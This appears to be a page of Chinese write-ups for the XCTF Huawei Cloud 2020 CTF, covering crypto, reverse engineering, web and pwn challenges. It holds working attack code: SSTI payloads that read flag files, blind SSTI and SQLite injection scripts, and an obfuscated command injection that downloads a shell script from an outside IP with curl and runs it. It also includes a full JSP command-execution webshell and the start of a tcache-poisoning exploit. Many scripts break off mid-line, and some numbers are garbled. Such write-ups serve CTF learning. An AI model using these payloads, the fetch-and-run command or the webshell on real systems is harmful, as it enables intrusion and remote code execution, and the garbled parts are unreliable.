Category - XCTF华为云专场2020

对call PyEval_EvalCode下断点(break *0x402B5B),当R14 寄存器保存的是'main'字串地址时dump main marshal(https://gist.github.com/stecman/3751ac494795164efa82a683130cabe5)

  1. define dump_pyc
  2. eval "set $handle = fopen(\"main.marshal\", \"w\")"
  3. call (void) PyMarshal_WriteObjectToFile($rdi, $handle, 4)
  4. call fclose($handle)
  5. end
  6. command
  7. dump_pyc "./"
  8. continue
  9. end

然后用下面的脚本将main.marshal还原成py

  1. from __future__ import print_function
  2. import marshal
  3. import struct
  4. import sys
  5. import time
  6. import uncompyle6
  7. def _pack_uint32(val):
  8. """ Convert integer to 32-bit little-endian bytes """
  9. return struct.pack("<I", val)
  10. def code_to_bytecode(code, mtime=0, source_size=0):
  11. """
  12. Serialise the passed code object (PyCodeObject*) to bytecode as a .pyc file
  13. The args mtime and source_size are inconsequential metadata in the .pyc file.
  14. """
  15. # Get the magic number for the running Python version
  16. if sys.version_info >= (3,4):
  17. from importlib.util import MAGIC_N

一道lfsr
审计代码可以知道要解出flag只需要还原回R1和R2就行了

题目所给的输出是两个寄存器输出(X1,X2)的combine, 但是这个combine存在缺陷, 当输出为0的时候, 只有一种情况X1=0,X2=1

再看R1,R2, 都是18位的, 那么要还原回初始的状态也就是R1和R2, 只需要各自的前18位输出就行了
但现在所得到的输出是combine以后的, 可以尝试爆破R1和R2各自的前18位输出来还原R1和R2
但是这样就需要爆破236次 显然不可能(说实话后面算出结果发现R1和R2都很小 跑个半天估计真可以

而combine的前18位输出里面有7个0, 利用最开始说的缺陷可以得到R1和R2分别的前18位输出的7位

那么爆破的次数变为23677=22大概400万次,十多分钟就行了

脚本

  1. from Crypto.Cipher import AES
  2. from hashlib import sha512
  3. def lfsr(R, mask):
  4. output = (R << 1) & 0xffffff
  5. i = (R & mask) & 0xffffff
  6. lastbit = 0
  7. while i != 0:
  8. lastbit ^= (i & 1)
  9. i = i >> 1
  10. output ^= lastbit
  11. return (output, lastbit)
  12. def relfsr(out18,mask):
  13. i = 17
  14. R = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
  15. while

三层的RSA, 一层一层解出来就行了

Level 1

参考这里
N有多因子的RSA,且这些因子都跟其中一个因子有关
这样就能得到这个因子跟N的关系, 从而得到该因子的一个近似
然后根据这近似来寻找这个因子, 找到了就可以得到其他因子了

Level 2

2020祥云杯 RSAssss 一样的, 条件还更多了
直接费马分解再利用gcd得到四个因子

Level 3

利用费马小定理可以知道, m7C41 (mod n)=kp
gcd(kp,n)可以得到p
因为s是2^10位, 简单爆破就能出来了
这样就能得到e了

脚本

  1. from Crypto.Util.number import *
  2. from gmpy2 import gcd,invert as inverse_mod,next_prime,iroot
  3. # LEVEL 3
  4. R = 81225738828166640599054154023183465870678960906769673605358084529196871174429427936591822589995476552044227730868809310992934103731850597399114246762836121101348301079296663951503688072299542357013093324718850936925265954204973634470836187733828189312553819810470405246669124171178070485118436102895117354417
  5. C4 = 22238585749689335043198360403653248049710943304594623939441271714322821476

ssti, ban [ ] ' " _

  1. # coding=utf-8
  2. import requests
  3. payload = '{{((((((request|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(1))|attr(request.cookies.d))())|attr(request.cookies.c))(40))(request.cookies.file).read()}}'
  4. headers = {'Cookie': 'a=__class__;b=__mro__;c=__getitem__;d=__subclasses__;file=flag.txt'}
  5. url = 'http://121.37.172.67:30764/success?msg={}'.format(payload)
  6. r = requests.get(url, headers=headers)
  7. print(r.text)

0-9a-z()$> 等来执行命令

用八进制绕过 ,空格就$IFS,

  1. shell
  2. cmd=$(printf$IFS"\57")bin$(printf$IFS"\57")bas"h"$IFS$(printf$IFS"\57")tmp$(printf$IFS"\57")123
  3. cmd=cur"l"$IFS$9$(printf$IFS"\64")7$(printf$IFS"\56")92$(printf$IFS"\56")94$(printf$IFS"\56")194$(printf$IFS"\57")shell>$(printf$IFS"\57")tmp$(printf$IFS"\57")123

flag运行90s出结果,有一个定时任务会kill进程,detect.py可写,直接覆盖就不会执行kill进程 , /readflag 等90s得到flag

{{ 不能用,用{% ,不出网用盲注,config,request, . ,\' , g ,u 空格等ban了

py脚本报错迷, 用go写就没事坑

  1. func main() {
  2. flag:=""
  3. for i := 0; i < 40; i++ {
  4. for _, j := range "abcdef1234567890" {
  5. fmt.Println(string(j))
  6. payload := `{%%0aif%0a"fla\x67{` +flag+string(j)+`"%0ain%0a((env|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5f\x67lobals\x5f\x5f")|attr("\x67et")("\x5f\x5fb\x75iltins\x5f\x5f"))|attr("\x67et")("open")("fla\x67\x2etxt"))|attr("read")()%0a%}123{%%0aendif%0a%}`
  7. r, _ := grequests.Get(`http://121.37.160.91:32310/success?msg=`+payload,
  8. &grequests.RequestOptions{})
  9. fmt.Println(r.String())
  10. ok,_:=regexp.Match("123",[]byte(r.String()))
  11. if ok{
  12. flag+=string(j)
  13. fmt.Println(flag)
  14. break
  15. }
  16. }
  17. }
  18. }

通过if来判断不是mysql ,ifnull看出是sqlite

sql错误会500, 报错盲注

  1. import sys
  2. import requests
  3. url='http://124.70.199.12:31534/login'
  4. sql="select name from sqlite_master where type='table' and name!='comment' and name!='users'"
  5. sql="select sql from sqlite_master where name='users' "
  6. sql="select username from users"
  7. sql="select password from users"
  8. #sqlite_not_safe
  9. #sql="select sql from sqlite_master where name='comment' "
  10. #sql="select group_concat(password) from users "
  11. payload="a' or abs(ifnull(nullif(1, unicode(substr(( {}),{},1))={}),0x8000000000000000)) or '0"
  12. h=''
  13. for i in range(1,10000):
  14. for j in range(30,129):
  15. t=payload.format(sql,str(i),str(j))
  16. print(t)
  17. r=requests.post(url,data={
  18. 'username':t,
  19. 'password':'a',
  20. })
  21. if r.status_code==500:
  22. h+=chr(j)
  23. print(h)
  24. break

密码sqlite_not_safe 登录

然后又一个sql注入, {{}}有SSTI,直接union select SSTI就行

https://uaf.io/exploitation/2018/11/22/Hitb-2017-babyqemu.html
基本是这题的改编题,实现了一个mmio设备。
漏洞在zzz_mmio_write进行物理内存读写的地方,发现如果off为1,size为0x1000的时候可以off by one改写一个字节。

  1. else if ( off == 0x60 )
  2. {
  3. state1 = (state *)state->this;
  4. if ( (state1->hw_addr & 0xFFF) == 0 )
  5. {
  6. size = state1->size;
  7. buf_off = (unsigned __int16)state1->buf_off;
  8. size0 = size & 0x7FFE;
  9. if ( (int)(buf_off + (size & 0x7FFE) - 1) <= 0x1000 )
  10. {
  11. rw_func = state->field_19F8;
  12. va = &state1->read_area[buf_off];
  13. if ( (size & 1) != 0 )
  14. rw_func(state1->hw_addr, (__int64)va, size0, 1LL);// cpu_physical_memory_rw
  15. else
  16. rw_func(state1->hw_addr, (__int64)va, size0, 0LL);// cpu_physical_memory_rw
  17. if ( (__int16)state1->size < 0 )
  18. ((void (__fastcall *)(state *, __int64))pci_set_irq)(state1, 1LL);
  19. }
  20. }
  21. }

逆向出来的state结构体大概长这样,可以看到读写buf的后面接着this指针和一个函数指针。off by one正好可以把this指针的最低位改掉,我们只

简单UAF题目,本质还是菜单题,只是CPP的逆向有点难看。分析清楚逻辑就能发现1选项删除chunk之后还能写入一个指针。直接tcache posion就可以了。
因为需要泄露libc地址所以可以先泄露heap地址然后进行一次tcache posion来改写heap上面的一个chunk size,把0x21改成0x421;当然这样做之前要分配好一堆chunk来占位。
泄露完libc地址再tcache posion打freehook就可以了。

  1. # flag{U5e_uN1qu3_p7R_C0r3Ct1Y_P1s}
  2. from pwn import *
  3. import re
  4. context.terminal = ['tmux', 'splitw', '-h']
  5. context.arch = 'amd64'
  6. context.log_level = "debug"
  7. env = {'LD_PRELOAD': ''}
  8. if len(sys.argv) == 1:
  9. p = process('./chall')
  10. elif len(sys.argv) == 3:
  11. p = remote(sys.argv[1], sys.argv[2])
  12. se = lambda data :p.send(data)
  13. sa = lambda delim,data :p.sendafter(delim, data)
  14. sl = lambda data :p.sendline(data)
  15. sla = lambda delim,data :p.sendlineafter(delim, data)
  16. sea = lambda delim,data :p.sendafter(delim, data)
  17. rc = lambda numb=4096 :p.recv(numb)
  18. ru = lambda delims, drop=True :p.recvuntil(delims, drop)
  19. uu32 = lambda data

上传普通的jsp一句话木马会被检测,github上找一个jsp webshell绕过一下。

  1. <%@ page import="java.util.*,java.io.*"%> <% %>
  2. <HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION="">
  3. <INPUT TYPE="text" NAME="comment">
  4. <INPUT TYPE="submit" VALUE="Send">
  5. </FORM> <pre>
  6. <%
  7. if ( request.getParameter( "comment" ) != null )
  8. {
  9. out.println( "Command: " + request.getParameter( "comment" ) + "<BR>" );
  10. Process p = Runtime.getRuntime().exec( request.getParameter( "comment" ) );
  11. OutputStream os = p.getOutputStream();
  12. InputStream in = p.getInputStream();
  13. DataInputStream dis = new DataInputStream( in );
  14. String disr = dis.readLine();
  15. while ( disr != null )
  16. {
  17. out.println( disr ); disr = dis.readLine();
  18. }
  19. }
  20. %>
  21. </pre>
  22. </BODY></HTML>
  23. © 2020 GitHub, Inc.
  24. @ https://github.com/JoyChou93/webshell/blob/master/jsp/cmd.jsp

然后执行命令即可

    Page 2 of 2